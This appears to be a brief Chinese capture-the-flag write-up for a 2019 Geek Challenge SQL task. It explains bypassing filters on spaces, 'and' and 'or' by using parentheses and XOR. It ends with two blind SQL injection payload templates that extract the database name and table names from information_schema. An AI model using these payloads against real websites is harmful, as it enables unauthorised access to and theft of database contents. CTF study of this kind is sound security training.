极客大挑战2019FinalSQL

盲注

过滤了空格,用()绕过,过滤了and和or,没有过滤 ^ ,且 1^1 和 1^0 的回显页面不一样。利用这个作为盲注的条件。

ascii()函数配合substr()来进行异或盲注:

脚本:

1
2
#payload1="?id=1^(ascii((substr((select(database())),{},1))={})" 爆库
#payload2="?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),{},1))={})"